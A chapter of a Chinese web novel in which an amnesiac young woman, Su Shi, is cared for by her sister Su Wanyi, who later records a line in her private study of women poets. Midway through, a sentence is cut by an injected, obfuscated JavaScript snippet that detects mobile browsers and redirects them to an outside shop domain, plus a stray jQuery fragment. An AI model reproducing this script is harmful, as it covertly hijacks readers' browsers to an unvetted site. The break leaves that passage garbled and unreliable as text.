漱玉轩离东厢房不算远，走过一道月洞门，院中声息便低了许多。
雨还在落，兰草伏在阶边，叶尖坠着水珠。檐下挂着细竹帘，风一吹，帘影轻轻碰在窗棂上。屋里燃着淡淡兰香，书案、屏风、软榻、衣柜都收拾得干净，连案上摊开的书卷也各有位置，镇纸压着页角，笔洗里的清水没有半点浑浊。
苏时被扶进来时，身上还带着东厢房的灰和烟味。
那股焦糊气混进兰香里，很快显得突兀。她站在门边，低头看见自己拖在地上的男袍，袍角沾着湿灰，在干净的地面上蹭出一道浅浅的痕迹，便下意识往后缩了半步。
苏婉仪看了一眼，道：“进来。”
她将苏时安置在窗边的椅上。
苏时手足无措地坐下，宽大的男装空荡荡堆在身上，袖口垂过指尖。她攥着披肩，指节还在发抖，眼眶红得厉害，却没敢哭出声。
过了片刻，她抬头看向苏婉仪，声音很轻：“我……什么都不记得了。”
苏婉仪站在她面前，没有回答。
她转身走到衣柜前，取出一套干净中衣，又挑了一件月白色襦裙，放到旁边小几上。
就在她转身时，屏风后传来一点细响。
苏时肩背一僵，抬眼看去，只见一团灰黑色的影子从书案底下钻出来，走了两步，又停住。
那是一只猫。
毛色灰扑扑的，耳尖缺了一小块，左眼比右眼略小，脸也生得不大周正。它站在屏风旁，盯着苏时看了一会儿，像是不太满意这个忽然闯进来的陌生人，随后慢吞吞绕到苏婉仪脚边。
苏婉仪没有低头，只道：“别怕，它不咬人。”
灰猫蹭了蹭她的裙摆。
苏婉仪取衣的动作未停，垂下一只手，在它头顶轻轻按了一下。那猫便伏低身子，安静地卧在她脚边。
“这里是漱玉轩。”苏婉仪道，“我的住处。”
苏时怔怔看着她。
苏婉仪将衣裙理平，又道：“我是苏婉仪，也是你的姐姐。”
“姐姐……”
苏时低声重复，像在试一个全然陌生的称呼。
苏婉仪眼睫微动，视线落在小几上的衣物上。
“先把衣裳换了。你身上这件不合身，也脏了。”
苏时低头看向自己身上的男袍，又看向那套女子衣裙。她伸手去摸衣带，却连从哪里解都分不清。越急，指尖越不听使唤，衣襟被扯得更乱，披肩也滑下去半截。
苏婉仪看了片刻，道：“别动。”
她走上前，用屏风遮住窗边，又吩咐春桃取热水和干净帕子来。
苏时僵硬地站着，由她解开外袍。沾着灰尘和焦味的衣料从肩头落下时，她低下头，双手无处可放，只能攥住身前那点衣料。耳根慢慢泛红，睫毛也抖得厉害。
苏婉仪没有多看。
她动作很利索，替她换下脏衣，用温帕擦去颈侧与手背上的灰痕，再给她穿上中衣，系好裙带，最后将外衫披到肩上。月白色衣裙遮住了雷火后的狼狈，衣料柔软，贴着皮肤，带着一点陌生的凉意。
换好衣裳后，苏时重新坐回椅上。
她双手放在膝上，指尖绞着袖口，不知该看哪里。那只灰猫不知何时跳上了窗下矮榻，尾巴圈着身子，仍旧盯着她。
苏婉仪站在她面前，视线在她脸上停了一会儿。
这张脸已经不是从前的苏时。
从前那个满身酒气、总低着头敷衍、叫她一见便生怒的人，如今坐在她面前，眉眼陌生，神情惶然，连“姐姐”二字都叫得小心。她方才在花厅里说过的那些话，还没有完全冷下去，转眼便没了落处。
苏婉仪收回目光。
“听着。”
苏时抬起头。
“你叫苏时。”苏婉仪看着她，“这里是苏府。方才那两人，是你的父亲和母亲。”
她停了一下，将最后一句说得慢些。
苏时怔怔听着，像怕漏掉一个字，慢慢重复：“苏时……苏府……父亲，母亲……”
她念得很轻。每一个词都像刚被递到手里，沉甸甸的，却不知道该放往何处。
苏婉仪眉心微蹙，很快移开眼。
“记不起来也无妨。先记住这些。”
窗外雨声渐密，檐下水线连成一片。兰香安静地浮在屋中，书案、屏风、软榻、衣柜都仍旧在原来的位置，灰猫伏在窗下，半眯着眼。
苏时坐在漱玉轩中，穿着陌生的衣裙，望着眼前这个自称姐姐的女子。屋里所
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606064|205723||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
有东西都干净、安静、有序，仿佛早已有自己的位置。
只有她没有。
——————————————————————————————————————
夜深后，漱玉轩的灯还亮着。
苏时睡在西次间。
春桃守在外头，隔一会儿便轻轻掀帘看一眼。雨声比傍晚小了些，檐下偶尔滴一声水。
苏婉仪坐在书案前，将那卷《兰亭集序》重新理好。纸页边缘的折痕还在，怎么抚也抚不平。
她想起早上花厅里的人。
那时苏时还扶着门框，满身酒气，说他头疼。后来又站在她面前，说父亲也好，苏家也好，门楣也好，全给她。
反正我也撑不住。
这句话到了夜里还在。
西次间里的人已经睡下了。
她穿着月白衣裙，连“姐姐”两个字都叫得小心。她不记得花厅，不记得东厢房，也不记得自己说过什么。
苏婉仪垂眼，看见案角晾着的那页字帖。
白日里落过灰，后来又被湿帕轻轻擦过。纸面仍留着暗痕。那个“之”字被指腹蹭花，又被雨水洇开，只剩一团淡淡的墨影。
人已经不记得了。
字还在。
灰猫从软榻上跳下来，钻到案下。
苏婉仪打开妆奁最底层，取出那只素木匣。
木轴轻轻一响。
匣中压着几张纸。她把那页字帖放进去，没有展开旧纸，又取出一册薄薄的底稿。
那册底稿没有题签。
扉页上只写着四个小字：
闺秀诗考。
这是她这两年私下誊录的东西。前朝女诗人的残句、旧集名目、墓志里偶然留下的几行字，都被她一点点抄在里面。能考出的，便记姓名；考不出的，只空着一格。
她翻到后一页。
空白处还干净。
她蘸了墨，写下一行小字。
字留则人留，字佚则人佚。
墨痕未干。
她看了一会儿，合上书，放回匣中。
匣盖落下。
——————————————————————————————————————